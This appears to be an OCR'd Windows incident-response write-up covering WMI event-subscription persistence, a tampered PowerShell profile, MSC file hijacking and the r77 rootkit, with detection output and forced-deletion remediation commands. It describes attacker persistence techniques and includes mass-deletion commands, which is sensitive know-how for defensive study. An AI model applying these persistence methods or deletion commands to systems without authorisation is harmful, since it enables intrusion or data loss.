Remove-Item -Path "C:\Windows\Temp\taskhelper.ps1" -Force

PS C:\Use	PS C:\Users\Administrator> net share							
Share nam	ie Resow	rce		Remark				
C\$ IPC\$ ADMIN\$ WinShare The comma PS C:\Use	C:\WIN C:\WIN C:\Win and complet ers\Adminis	NDOWS ndows\Temp ted successfully strator> Get-Smb9	Share	Default share Remote IPC Remote Admin				
Name	ScopeName	Path	Descriptio	in 				
ADMIN\$ C\$ IPC\$ WinShare	* * *	C:\WINDOWS C:\ C:\Windows\Temp	Remote Adm Default sh Remote IPC	in are				
PS C:\Use	ers\Adminis	strator>						

5. WMI-Based Persistence

How They Were Found

• WMI Subscription Check:

Using the command Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" to query the namespace revealed unexpected event filters and consumers. These objects are often used by attackers to trigger malicious actions on

certain system events.

PS C:\Users\Admir	nistrator> Get-WmiObject -Namespace "root\subscription" -Class "EventFilter"
GENUS	: 2
CLASS	:EventFilter
SUPERCLASS	:IndicationRelated
DYNASTY	:SystemClass
RELPATH	:EventFilter.Name="SCM Event Log Filter"
PROPERTY_COUNT	: 6
DERIVATION	: {IndicationRelated,SystemClass}
SERVER	: WIN-8M5NE06FKV9
NAMESPACE	: ROOT\subscription
PATH	: \\WIN-8M5NE06FKV9\ROOT\subscription:EventFilter.Name="SCM Event Log Filter"
CreatorSID	: {1, 2, 0, 0}
EventAccess	
EventNamespace	: root\cimv2
Name	: SCM Event Log Filter
Query	: select * from MSFT_SCMEventLogEvent
QueryLanguage	: WQL
PSComputerName	: WIN-8M5NE06FKV9
GENUS	: 2
CLASS	: EventFilter
SUPERCLASS	i IndicationRelated
DYNASTY	
RELPATH	: EventFilter.Name="StartupTrigger"
PROPERTY_COUNT	: 6
DERIVATION	: {IndicationRelated,SystemClass}
SERVER	: WIN-8M5NE06FKV9
NAMESPACE	: ROOT\subscription
PATH	: \\WIN-8M5NE06FKV9\ROOT\subscription:EventFilter.Name="StartupTrigger"
CreatorSID	: {1, 5, 0, 0}
EventAccess	
EventNamespace	: root\cimv2
Name	: StartupTrigger
Query	: SELECT * FROMInstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'winlogon.exe'
QueryLanguage	: WQL
PSComputerName	: WIN-8M5NE0GFKV9

Remediation Steps

Remove Malicious WMI Objects:

```
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" |
Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__EventConsumer" |
Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class
"__FilterToConsumerBinding" | Remove-WmiObject
```

PS C:\Users\Administrator> Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" | Remove-WmiObject PS C:\Users\Administrator> Get-WmiObject -Namespace "root\subscription" -Class "__EventConsumer" | Remove-WmiObject PS C:\Users\Administrator> Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Remove-WmiObject

6. User Profile Script Manipulation

How They Were Found

• **Profile Inspection:** A check of the user's profile using Test-Path \$PROFILE followed by Get-Content **\$PROFILE** revealed modifications that could execute malicious code upon login. Such modifications are often discovered by comparing the current profile with a known-good baseline.



Remediation Steps

• Remove the Malicious Profile Script:

```
Remove-Item $PROFILE -Force
PS C:\Users\Administrator> Remove-Item $PROFILE -Force
```

7. MSC File Hijacking

How They Were Found

• Registry Analysis:

Autoruns and manual registry inspection identified unusual modifications in the registry path for MSC files (HKEY_CLASSES_ROOT\mscfile\shell\open\command). An extra value called **"BackupCommand"** was found that could be used to reintroduce malicious behavior.



Remediation Steps

Restore Default Behavior:



8. Rootkit Detection

How They Were Found

• Scanning with GMER:

A full scan with GMER (Download at <u>GMER download latest version</u>) on the virtual machine was performed. The scan revealed anomalies such as a hidden bat file (**"\$77script.bat"**) in the Temp directory and unusual process injection behavior. Research (e.g., googling "\$77 rootkit") confirmed these symptoms as indicative of the

Bytecode77 r77 rootkit.

-		
File	C:\\$Recycle.Bin\S-1-5-21-148845481-527483631-2243101428-500\\$RM0DY81.3\\$77-Example.exe	48640 bytes executable
File	C:\Windows\SoftwareDistribution\DataStore\Logs\edb00016.log	1310720 bytes
File	C:\Windows\SoftwareDistribution\Download\14ac1d235a2807956c7aa5fcf05157fe\Package_for_RollupFix~~amd64~~26100.3194.1	0 bytes
File	C:\Windows\SoftwareDistribution\Download\14ac1d235a2807956c7aa5fcf05157fe\Package_for_RollupFix^~amd64~~26100.3194.1	0 bytes
File	C:\Windows\SoftwareDistribution\Download\14ac1d235a2807956c7aa5fcf05157fe\Package_for_RollupFix~~amd64~~26100.3194.1	0 bytes
File	C:\Windows\SoftwareDistribution\Download\14ac1d235a2807956c7aa5fcf05157fe\Package_for_RollupFix^~amd64~~26100.3194.1	0 bytes
File	C:\Windows\SoftwareDistribution\Download\14ac1d235a2807956c7aa5fcf05157fe\Package_for_RollupFix^_amd64~_26100.3194.1	0 bytes
File	C:\Windows\SoftwareDistribution\Download\14ac1d235a2807956c7aa5fcf05157fe\Package_for_RollupFix^_amd64~_26100.3194.1	0 bytes
File	C:\Windows\SoftwareDistribution\Download\a0/38999512272f4461ac8d7ce8069209984343e	14194928 bytes executable
File	C:\Windows\System32\Tasks\\$77svc64	13990 bytes
File	C:\Windows\Temp\\$77script.bat	85 bytes
		-

Remediation Steps

• Confirming the rootkit:

Attempting to locate C:\Windows\Temp\\$77script.bat fails, even showing hidden processes, confirming the presence of the rootkit.

늘 Temp	× +				-				
\leftarrow \rightarrow \uparrow	\mathbb{C} \square \rightarrow This PC \rightarrow Local Disk	C □ > This PC > Local Disk (C:) > Windows > Temp > Search Temp							
🕂 New 🗸	0 🗋 🖉 🖻 🛍 📢	Sort -> 🛛 🗮 View ->				🔲 Details			
🛃 Gallery	Name	Date modified	Туре	Size					
	Fonts	3/2/2025 5:51 PM	File folder						
E Desktop	SSS_c38ea648a38bdb010100000080219c21	3/2/2025 10:45 AM	File folder						
Downloads	vmware-SYSTEM	3/2/2025 12:31 PM	File folder						
	MpSigStub	3/3/2025 1:33 PM	Text Document	79 KB					
Documents	msedge_installer	3/2/2025 12:27 PM	Text Document	87 KB					
Pictures ;	ilconfig	3/3/2025 1:22 PM	Text Document	1 KB					
🕑 Music 🗦	askhelper 📄	3/2/2025 5:03 PM	Windows PowerS	1 KB					
🔀 Videos	vmware-vmsvc-SYSTEM	3/2/2025 5:52 PM	Text Document	35 KB					
aeacus 🔅	vmware-vmtoolsd-Administrator	3/3/2025 1:23 PM	Text Document	3 KB					
System32 ;	vmware-vmtoolsd-SYSTEM	3/3/2025 1:21 PM	Text Document	3 KB					
🏪 Local Disk (C:)	vmware-vmusr-Administrator	3/2/2025 5:52 PM	Text Document	22 KB					
	vmware-vmvss-SYSTEM	3/3/2025 1:21 PM	Text Document	3 KB					
> 📃 This PC									
> 🖆 Network	1								
12 items 🔰 State: 🖻	bhared								

- Removing the Rootkit:
 - 1. **Download the rootkit setup files:** Download the zip file from <u>https://bytecode77.com/r77-rootkit</u>
 - 2. Launch the test console, indicating the rootkit is active, then check the startup tab to confirm the presence of "\$77script.bat".

n77 Test Console								- 0	×
<u>File Run Processes Help</u>	Suntana 🚺 🚱 Ca	atural Dire a							
Process	PID	Platform	Integrity	User	Flags	Inject	Detach	Hide by PID	~
	4748	64	System	SVSTEM	, logs	lniected	Detach	% Hide	
ApplicationFrameHost even	■ 9872	64	High	Administrator		lniected	Detach	% Hide	
tkit	5188	64	System	LOCAL SERVICE		lniected	Detach	Ø Hide	
AzureArcSvsTrav.exe	7564	64	High	Administrator		lniected	Detach	Ø Hide	
conhost.exe	1772	64	System	SYSTEM		lniected	Detach	Ø Hide	otk
conhost.exe	1820	64	System	SYSTEM		lniected	Detach	Ø Hide	
conhost.exe	8872	64	High	Administrator		lniected	Detach	Ø Hide	
Csrss.exe	676	64	System	SYSTEM		lnject		Ø Hide	_
e csrss.exe	788	64	System	SYSTEM		S Inject		Ø Hide	
ctfmon.exe	1452	64	High	Administrator		lnjected	👰 Detach	Ø Hide	
y dllhost.exe	4232	64	System	SYSTEM		lnjected	Detach	Ø Hide	
dllhost.exe	8576	64	High	Administrator		lnject		Ø Hide	
dwm.exe	1844	64	System	DWM-1		lnjected	🙀 Detach	Ø Hide	
explorer.exe	7084	64	High	Administrator		lnjected	强 Detach	Ø Hide	
loz 🔳 fontdrvhost.exe	512	64	Low	UMFD-1		lnject		Ø <u>Hide</u>	
fontdrvhost.exe	776	64	Low	UMFD-0		lnject		Ø <u>Hide</u>	
Isass.exe	932	64	System	SYSTEM		👩 Injected	😼 <u>Detach</u>	Ø <u>Hide</u>	
res 🔳 MoNotificationUx.exe	7452	64	High	Administrator		🍺 Injected	😼 <u>Detach</u>	Ø <u>Hide</u>	
MoUsoCoreWorker.exe	9608	64	System	SYSTEM		🍺 Injected	😼 Detach	Ø <u>Hide</u>	
s msdtc.exe	4412	64	System	NETWORK SERVICE		🍺 Injected	强 <u>Detach</u>	Ø <u>Hide</u>	
is 💽 msedge.exe	1096	64	High	Administrator		🍺 Injected	强 <u>Detach</u>	% <u>Hide</u>	
C msedge.exe	1108	64	Untrusted	Administrator		🚳 Inject		Ø <u>Hide</u>	\sim
									~
m3									
Di									
°C									
ork									
ite									
									~
Version 1.6.3 💛 Elevated									ail

	👷 r77 Test Console						_	×	
	File Run Processes Help	0							
	🔛 Processes 📓 Config	System 🛛 🔮 Cont	rol Pipe						
	Directory	Name	Value		Edit	Delete			
	startup (1)	WindowsDebug	C:\Wi	ndows\Temp\\$77s	<u>Edit</u>	🔒 <u>Delete</u>			
ootkit	pid process names	Add							
	paths								al da 1
_	service_names								JUKIL
~	tcp_local								
	tcp_remote								
ome	udp		🚊 Edit Entry			×			
illery									
			Directory						
ulter			startup						
isktop			Name						
wnloa			WindowsDe	ebug					
ocume			Value						
ctures			C:\Windows	s\Temp\\$77script.bat					
usic				OK	(Cancel			
deos									
acus									
stem3									
cal Di									
iis PC									
twork									
1 ite									
	м. :								
	Version 1.6.3 💎 Elevated		/	Constant and					

3. **Uninstall:** Use the provided uninstall.exe from the rootkit package.

r77Rootkit 1.6.3	× +				-		×
$\leftarrow \rightarrow \uparrow$	C □ → Desktop → r77	7Rootkit 1.6.3 >			Search r77Rootkit 1.6.3		۹
🕂 New -		\wedge Sort ${\scriptscriptstyle \curlyvee}$ \equiv View ${\scriptscriptstyle \curlyvee}$				📑 De	etails
合 Home	Name	Date modified	Туре	Size			
	Examples	3/3/2025 1:35 PM	File folder				
. <u> </u>	🚯 BytecodeApi.dll	7/24/2024 11:01 PM	Application extens	318 KB			
	🚯 BytecodeApi.Ul.dll	7/24/2024 11:01 PM	Application extens	77 KB			
🛄 Desktop 🤌	Helper32.dll	2/3/2025 9:17 AM	Application extens	9 KB			
🛓 Downloads 🦼	Helper64.dll	2/3/2025 9:17 AM	Application extens	11 KB			
📔 Documents 🦼	Install	2/3/2025 9:17 AM	Application	164 KB			
🔀 Pictures 🦼	Install.shellcode	2/3/2025 9:17 AM	SHELLCODE File	165 KB			
🕑 Music 🚽		1/1/2025 3:09 PM	Text Document	2 KB			
Videos 🚽	🗟 r77-x64.dll	2/3/2025 9:17 AM	Application extens	144 KB			
, ,	🚯 r77-x86.dll	2/3/2025 9:17 AM	Application extens	113 KB			
aeacus	Console	2/3/2025 9:17 AM	Application	229 KB			
System32	Uninstall	2/3/2025 9:17 AM	Application	12 KB			
🏪 Local Disk (C:)							
	1						
> 💻 This PC							
> 🥍 Network 12 items							
		12.2.2	1111	1			

4. Manual Cleanup: Remove the remaining artifact, the batch script:

Remove-Item -Path "C:\Windows\Temp\`\$77script.bat" -Force

PS C:\Users\Administrator> Remove-Item -Path "C:\Windows\Temp\`\$77script.bat" -Force